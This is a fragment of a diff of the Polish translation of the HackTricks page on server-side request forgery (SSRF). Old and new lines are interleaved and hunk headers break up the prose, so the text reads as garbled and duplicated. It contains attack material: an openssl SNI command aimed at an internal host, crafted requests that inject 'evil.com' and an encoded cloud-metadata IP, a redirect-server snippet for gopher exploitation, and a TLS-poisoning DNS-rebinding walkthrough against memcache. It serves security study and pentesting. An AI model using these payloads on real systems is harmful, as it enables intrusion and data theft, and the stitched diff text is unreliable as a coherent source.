W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Forgery żądania po stronie serwera (SSRF), która może być wykorzystana poprzez jedynie określenie żądanego adresu IP lub nazwy domeny w polu SNI. Poniżej podano przykład wykorzystania do wymuszenia połączenia z dowolnym backendem, takim jak `internal.host.com`, za pomocą polecenia `openssl`:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
## [Wysyłanie pliku za pomocą Wget](../file-upload/#wget-file-upload-ssrf-trick)
## [Przesyłanie pliku za pomocą Wget](../file-upload/#wget-file-upload-ssrf-trick)
## SSRF z Wstrzyknięciem Poleceń
@ -163,7 +163,9 @@ Jeśli strona internetowa automatycznie tworzy plik PDF z informacjami, które p
Utwórz kilka sesji i spróbuj pobrać ciężkie pliki wykorzystując SSRF z sesji.
## Funkcje PHP SSRF
## Funkcje PHP do SSRF
Sprawdź następującą stronę pod kątem podatnych funkcji PHP, a nawet Wordpress:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
@ -171,7 +173,7 @@ Utwórz kilka sesji i spróbuj pobrać ciężkie pliki wykorzystując SSRF z ses
## SSRF Przekierowanie do Gophera
Dla niektórych eksploatacji możesz potrzebować **wysłania odpowiedzi przekierowania** (potencjalnie do użycia innego protokołu, takiego jak gopher). Tutaj masz różne kody Pythona do odpowiedzi z przekierowaniem:
Dla niektórych eksploatacji możesz potrzebować **wysłania odpowiedzi przekierowania** (potencjalnie do użycia innego protokołu, jak np. gopher). Tutaj masz różne kody Pythona do odpowiedzi z przekierowaniem:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -206,7 +208,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Użyj [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
@ -246,11 +248,11 @@ Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Kod podatny na atak:
Narażony kod:
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
Odkryto, że jest możliwe **rozpoczęcie ścieżki** żądania znakiem **`;`**, co pozwala następnie użyć **`@`** i wstrzyknąć nowy host do dostępu. Żądanie ataku:
Odkryto, że jest możliwe **rozpoczęcie ścieżki** żądania od znaku **`;`**, co pozwala następnie użyć **`@`** i wstrzyknąć nowy host do dostępu. Żądanie ataku:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -277,7 +279,7 @@ var_dump($response);
```
</details>
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej `/` i że kropki `.` nie są dozwolone przed pierwszym ukośnikiem, dlatego konieczne jest użycie zakodowanego adresu IP bez kropek na przykład:
PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, takie jak możliwość użycia tylko dla ścieżki głównej `/` oraz brak możliwości użycia kropek `.` przed pierwszym ukośnikiem, dlatego konieczne jest użycie zakodowanego adresu IP bez kropek na przykład:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
@ -293,7 +295,7 @@ Jeśli masz **problemy** z **wyciekiem treści z lokalnego IP** z powodu **CORS/
### Zautomatyzowane DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne składniki do przypisania adresu IP serwera atakującego nazwie DNS maszyny docelowej oraz do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do przypisania adresu IP serwera atakującego nazwie DNS maszyny docelowej oraz do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
Sprawdź również **publicznie działający serwer pod adresem** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@ -303,19 +305,19 @@ Wymagania:
* **SSRF**
* **Sesje TLS wychodzące**
* **Zasoby na lokalnych portach**
* **Rzeczy na lokalnych portach**
Atak:
1. Poproś użytkownika/bota o **dostęp** do **domeny** kontrolowanej przez **atakującego**
2. **TTL** DNS wynosi **0** sekund (co sprawi, że ofiara wkrótce ponownie sprawdzi IP domeny)
3. Między ofiarą a domeną atakującego tworzona jest **połączenie TLS**. Atakujący umieszcza **ładunek wewnątrz** **ID Sesji lub Biletu Sesji**.
4. **Domena** rozpocznie **nieskończoną pętlę** przekierowań na **siebie**. Celem jest zmuszenie użytkownika/bota do dostępu do domeny aż do ponownego wykonania **żądania DNS** dla domeny.
2. **TTL** DNS wynosi **0** sekund (co spowoduje, że ofiara wkrótce ponownie sprawdzi IP domeny)
3. Między ofiarą a domeną atakującego tworzona jest **połączenie TLS**. Atakujący wprowadza **ładunek do** **ID Sesji lub Biletu Sesji**.
4. **Domena** rozpocznie **nieskończoną pętlę** przekierowań na **siebie samego**. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykonają **żądanie DNS** domeny.
5. W żądaniu DNS podawany jest teraz **prywatny adres IP** (np. 127.0.0.1)
6. Użytkownik/bot spróbuje **ponownie nawiązać połączenie TLS** i w tym celu wyśle **ID Sesji/Bilet Sesji** (w którym zawarty był **ładunek** atakującego). Gratulacje, udało ci się zmusić **użytkownika/bota do zaatakowania samego siebie**.
6. Użytkownik/bot spróbuje **ponownie nawiązać połączenie TLS**, a w tym celu wyśle **ID Sesji/Bilet Sesji** (w którym zawarty był **ładunek** atakującego). Gratulacje, udało ci się zmusić **użytkownika/bota do zaatakowania samego siebie**.
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (_memcache_), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.atakujący.com:11211 (port **musi zawsze być taki sam**).\
Aby **przeprowadzić ten atak, możesz skorzystać z narzędzia**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (_memcache_), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (port **musi zawsze być taki sam**).\
Aby **przeprowadzić ten atak, możesz użyć narzędzia**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Aby uzyskać **więcej informacji**, zapoznaj się z prezentacją, w której wyjaśniono ten atak: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## Ślepy SSRF
@ -324,7 +326,7 @@ Różnica między ślepym SSRF a nieslepym polega na tym, że w ślepym nie moż
### SSRF oparty na czasie
Sprawdzając **czas** odpowiedzi serwera, można **ustalić, czy zasób istnieje czy nie** (być może dostęp do istniejącego zasobu zajmuje więcej czasu niż dostęp do nieistniejącego)
Sprawdzając **czas** odpowiedzi serwera, można **możliwe jest stwierdzenie, czy zasób istnieje czy nie** (być może dostęp do istniejącego zasobu zajmuje więcej czasu niż dostęp do nieistniejącego).
## Eksploatacja Cloud SSRF
@ -336,7 +338,7 @@ Jeśli znajdziesz podatność na SSRF w maszynie działającej w środowisku chm
## Platformy podatne na SSRF
Kilka znanych platform zawiera lub zawierała podatności na SSRF, sprawdź je tutaj:
Kilka znanych platform zawierało lub zawiera podatności na SSRF, sprawdź je:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@ -365,7 +367,7 @@ To narzędzie generuje ładunki Gopher dla:
* [Post na blogu o użyciu SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ to skaner podatności _Java RMI_, który obsługuje operacje atakujące dla większości powszechnych podatności _Java RMI_. Większość dostępnych operacji obsługuje opcję `--ssrf`, aby wygenerować ładunek _SSRF_ dla żądanej operacji. W połączeniu z opcją `--gopher` można bezpośrednio generować gotowe ładunki _gopher_.
_remote-method-guesser_ to skaner podatności _Java RMI_, który obsługuje operacje ataków dla większości powszechnych podatności _Java RMI_. Większość dostępnych operacji obsługuje opcję `--ssrf`, aby generować ładunek _SSRF_ dla żądanej operacji. W połączeniu z opcją `--gopher` można bezpośrednio generować gotowe ładunki _gopher_.
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
@ -389,7 +391,7 @@ SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruch
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -399,7 +401,7 @@ Inne sposoby wsparcia HackTricks:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.\
Użyj [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}